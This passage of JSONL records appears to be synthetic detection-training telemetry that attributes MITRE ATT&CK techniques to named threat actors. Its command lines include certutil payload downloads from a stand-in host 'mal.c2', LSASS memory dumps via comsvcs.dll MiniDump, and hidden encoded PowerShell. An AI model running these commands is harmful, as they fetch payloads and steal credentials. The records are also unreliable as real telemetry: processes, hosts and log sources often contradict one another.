https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-07T04:11:56.000Z","user":{"name":"i-0op3o3uhtd44","sid":"S-1-5-21-310203207-886411795-3951"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1566.001 using encrypted C2 technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Persistence","Defense Evasion","Command and Control"],"technique_id":"T1566.001"},"event_id":"evt_apt29_20250221T115433000Z_0002049","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.49.97.26","name":"WIN-FIN-SRV-PQBGDX9A7M","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2049APT29T1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.43.175.93","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-08-10T03:06:01.000Z","user":{"name":"svc_sw69n19nhnel","sid":"S-1-5-21-931082285-202775635-2136"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Discovery"],"technique_id":"T1570"},"event_id":"evt_scatteredspider_20261207T010303000Z_0002051","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.242.225.59","name":"EC2-INST-Z1UWT49ORV","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2051Scattered SpiderT1570"},"network":{"domain":"github.com","dst_ip":"1.186.190.121","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-09-08T04:21:08.000Z","user":{"name":"azuread\\n2tffbvj7p8w","sid":"S-1-5-21-162650924-314661196-2507"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1531 using encrypted C2 technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Execution"],"technique_id":"T1531"},"event_id":"evt_scatteredspider_20251014T050417000Z_0002053","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","LOLBin","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.201.171.206","name":"EC2-INST-HEE6TD6HBC","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2053Scattered SpiderT1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.176.200.193","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1885 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-09-26T09:21:39.000Z","user":{"name":"azuread\\xcv42oq7xr2e","sid":"S-1-5-21-259696694-400416063-9378"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1003.001 using cloud-native technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Collection","Execution"],"technique_id":"T1003.001"},"event_id":"evt_volttyphoon_20250316T062119000Z_0002055","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.36.45.67","name":"APP-WEB-BP9C9232GG","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2055Volt TyphoonT1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.65.124.195","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-09-01T13:48:06.000Z","user":{"name":"azuread\\7q6vazjood38","sid":"S-1-5-21-838902062-169259238-2152"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Credential Access","Discovery","Lateral Movement"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20251003T223556000Z_0002057","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["WMI","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.209.72.186","name":"DB-ORACLE-CWZRTGOOCL","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2057APT29T1003.001"},"network":{"domain":"github.com","dst_ip":"1.74.209.64","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-02-25T03:02:56.000Z","user":{"name":"svc_l7z98ma97ty2","sid":"S-1-5-21-488379478-791703933-1945"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Collection"],"technique_id":"T1566.001"},"event_id":"evt_volttyphoon_20260405T200111000Z_0002059","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.92.10.2","name":"DB-ORACLE-XTQQ2DKLIW","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2059Volt TyphoonT1566.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.143.122.16","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-12-18T12:33:18.000Z","user":{"name":"azuread\\jmwp3i73azsf","sid":"S-1-5-21-223245073-582359153-8378"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20250529T162816000Z_0002061","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.176.49.39","name":"EC2-INST-M944F0PNNT","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2061UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.146.31.70","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-12-21T13:59:54.000Z","user":{"name":"CORP\\cgd919wsmp1q","sid":"S-1-5-21-455212151-319527717-9220"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement","Persistence","Exfiltration"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20260720T012914000Z_0002063","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.19.11.90","name":"APP-WEB-11EV8VVKLQ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2063Lapsus$T1021.006"},"network":{"domain":"cdn-content.com","dst_ip":"1.173.53.44","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-01-20T10:35:21.000Z","user":{"name":"arn:aws:iam::5huyfk2b6ve5","sid":"S-1-5-21-925090057-668385643-7277"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Defense Evasion"],"technique_id":"T1098.004"},"event_id":"evt_unc4841_20250521T163719000Z_0002065","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.184.19.232","name":"AZURE-VM-1E6KXQD04B","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2065UNC4841T1098.004"},"network":{"domain":"github.com","dst_ip":"1.174.73.253","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-06-14T23:31:14.000Z","user":{"name":"CORP\\p4rs1w6iptx5","sid":"S-1-5-21-221852531-386015480-8410"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Initial Access","Exfiltration"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20250318T162158000Z_0002067","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.17.136.245","name":"WIN-FIN-SRV-TZ2PZ7C6XJ","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2067Scattered SpiderT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.104.82.19","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-08T19:47:33.000Z","user":{"name":"azuread\\s74v6qpik1yb","sid":"S-1-5-21-876177801-418112872-8766"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using LOLBin technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20260321T133300000Z_0002069","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.31.254.112","name":"WIN-FIN-SRV-9P4RWSM4GX","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2069Lapsus$T1546.003"},"network":{"domain":"github.com","dst_ip":"1.13.2.186","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-04-09T04:05:20.000Z","user":{"name":"svc_m5w6l2aqb20z","sid":"S-1-5-21-733369800-405649931-1722"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Collection","Discovery","Command and Control"],"technique_id":"T1003.001"},"event_id":"evt_apt41_20260102T062520000Z_0002071","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.157.31.122","name":"WIN-FIN-SRV-039O5IEW0T","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2071APT41T1003.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.34.242.4","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"svchost.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-11-16T14:34:57.000Z","user":{"name":"i-luhehgy18cb9","sid":"S-1-5-21-642668264-443909734-6701"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Privilege Escalation","Lateral Movement","Discovery"],"technique_id":"T1003.001"},"event_id":"evt_mustangpanda_20260414T021209000Z_0002073","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.55.172.40","name":"APP-WEB-58QLDG9OGW","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2073Mustang PandaT1003.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.53.1.229","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-11-11T23:01:20.000Z","user":{"name":"CORP\\vq8lynb2og49","sid":"S-1-5-21-879985487-467564209-2251"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation","Exfiltration"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20251109T222858000Z_0002075","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.217.57.27","name":"IAM-ROLE-N46G01X564","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2075Mustang PandaT1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.133.195.144","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 890 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-07-26T21:02:05.000Z","user":{"name":"arn:aws:iam::dtbnwd1f75c9","sid":"S-1-5-21-591808506-283667952-2040"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Execution","Exfiltration"],"technique_id":"T1566.001"},"event_id":"evt_apt41_20250919T063753000Z_0002077","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.109.216.58","name":"APP-WEB-Y6CDXWBRUS","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2077APT41T1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.70.68.81","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-06T03:38:19.000Z","user":{"name":"azuread\\iucvboy269su","sid":"S-1-5-21-995835264-110027639-3273"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20250719T033517000Z_0002079","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Base64","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.65.85.244","name":"EC2-INST-YAGA1OSJY2","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2079Lapsus$T1071.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.89.224.91","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 760 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-07-12T15:47:09.000Z","user":{"name":"arn:aws:iam::vpxkkek1tcgo","sid":"S-1-5-21-344633025-675539173-4225"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Lateral Movement","Privilege Escalation","Execution"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20260906T212612000Z_0002081","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.203.74.145","name":"EC2-INST-8E1J4H8PUD","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2081Lapsus$T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.55.128.19","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2332 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2026-01-10T04:34:04.000Z","user":{"name":"i-662c1bmpozod","sid":"S-1-5-21-122340620-670608626-1044"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence"],"technique_id":"T1570"},"event_id":"evt_apt41_20260419T072554000Z_0002083","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.5.167.203","name":"AZURE-VM-NZRUCO5K7F","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2083APT41T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.118.56.167","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1826 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2025-06-15T02:45:41.000Z","user":{"name":"arn:aws:iam::52z7deqnwzgr","sid":"S-1-5-21-384648862-712937544-5510"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1531 using fileless technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Defense Evasion"],"technique_id":"T1531"},"event_id":"evt_volttyphoon_20251026T094949000Z_0002085","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["Base64","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.202.84.235","name":"AZURE-VM-8MAJZ4HD55","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2085Volt TyphoonT1531"},"network":{"domain":"cdn-content.com","dst_ip":"1.20.230.125","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2025-12-28T04:09:06.000Z","user":{"name":"CORP\\mar4z66twitk","sid":"S-1-5-21-654663813-666904796-9916"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using fileless technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20260224T115936000Z_0002087","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.252.50.237","name":"APP-WEB-AJSWXKPBTD","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2087Mustang PandaT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.55.8.18","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-02-14T17:42:11.000Z","user":{"name":"i-58eedl2c8088","sid":"S-1-5-21-703119591-537475336-7371"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Credential Access"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260611T181541000Z_0002089","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.188.180.186","name":"AZURE-VM-YBWFUFFXJH","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2089Lapsus$T1570"},"network":{"domain":"github.com","dst_ip":"1.10.194.126","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2486 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-08-25T11:32:56.000Z","user":{"name":"arn:aws:iam::b17c9n402n6o","sid":"S-1-5-21-454277992-465699907-1373"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Reconnaissance","Collection"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20260713T004243000Z_0002091","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.255.58.23","name":"AZURE-VM-7H2Q2RG9GQ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2091Volt TyphoonT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.160.34.253","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-02-13T08:20:22.000Z","user":{"name":"svc_oqzzwugzfkli","sid":"S-1-5-21-322600799-779523249-2559"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Persistence"],"technique_id":"T1570"},"event_id":"evt_mustangpanda_20261016T201504000Z_0002093","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.172.55.65","name":"DB-ORACLE-IFHMU7U4K6","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"2093Mustang PandaT1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.40.14.247","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3055 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-09-13T19:23:19.000Z","user":{"name":"i-ygupifzcq63d","sid":"S-1-5-21-315881579-310116788-1739"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1570 using fileless technique.","sub_technique":"Lateral Tool Transfer","tactic":["Execution","Reconnaissance","Exfiltration"],"technique_id":"T1570"},"event_id":"evt_apt41_20250916T051149000Z_0002095","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.17.152.51","name":"EC2-INST-96EJX346RR","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & 